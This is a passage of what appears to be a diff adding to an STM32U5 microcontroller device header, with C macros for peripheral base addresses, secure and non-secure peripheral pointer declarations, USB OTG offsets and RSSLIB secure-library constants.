GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08308UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_FS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define AES_BASE_S (AHB2PERIPH_BASE_S + 0xA0000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define SAES_BASE_S (AHB2PERIPH_BASE_S + 0xA0C00UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) +#define OTFDEC1_BASE_S (AHB2PERIPH_BASE_S + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_S (OTFDEC1_BASE_S + 0x20UL) +#define OTFDEC1_REGION2_BASE_S (OTFDEC1_BASE_S + 0x50UL) +#define OTFDEC1_REGION3_BASE_S (OTFDEC1_BASE_S + 0x80UL) +#define OTFDEC1_REGION4_BASE_S (OTFDEC1_BASE_S + 0xB0UL) +#define OTFDEC2_BASE_S (AHB2PERIPH_BASE_S + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_S (OTFDEC2_BASE_S + 0x20UL) +#define OTFDEC2_REGION2_BASE_S (OTFDEC2_BASE_S + 0x50UL) +#define OTFDEC2_REGION3_BASE_S (OTFDEC2_BASE_S + 0x80UL) +#define OTFDEC2_REGION4_BASE_S (OTFDEC2_BASE_S + 0xB0UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1308UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS ((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_FS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_FS_BASE_NS) +#define AES_NS ((AES_TypeDef *) AES_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SAES_NS ((AES_TypeDef *) SAES_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) +#define OTFDEC1_NS ((OTFDEC_TypeDef *) OTFDEC1_BASE_NS) +#define OTFDEC1_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_NS) +#define OTFDEC1_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_NS) +#define OTFDEC1_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_NS) +#define OTFDEC1_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_NS) +#define OTFDEC2_NS ((OTFDEC_TypeDef *) OTFDEC2_BASE_NS) +#define OTFDEC2_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_NS) +#define OTFDEC2_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_NS) +#define OTFDEC2_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_NS) +#define OTFDEC2_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S 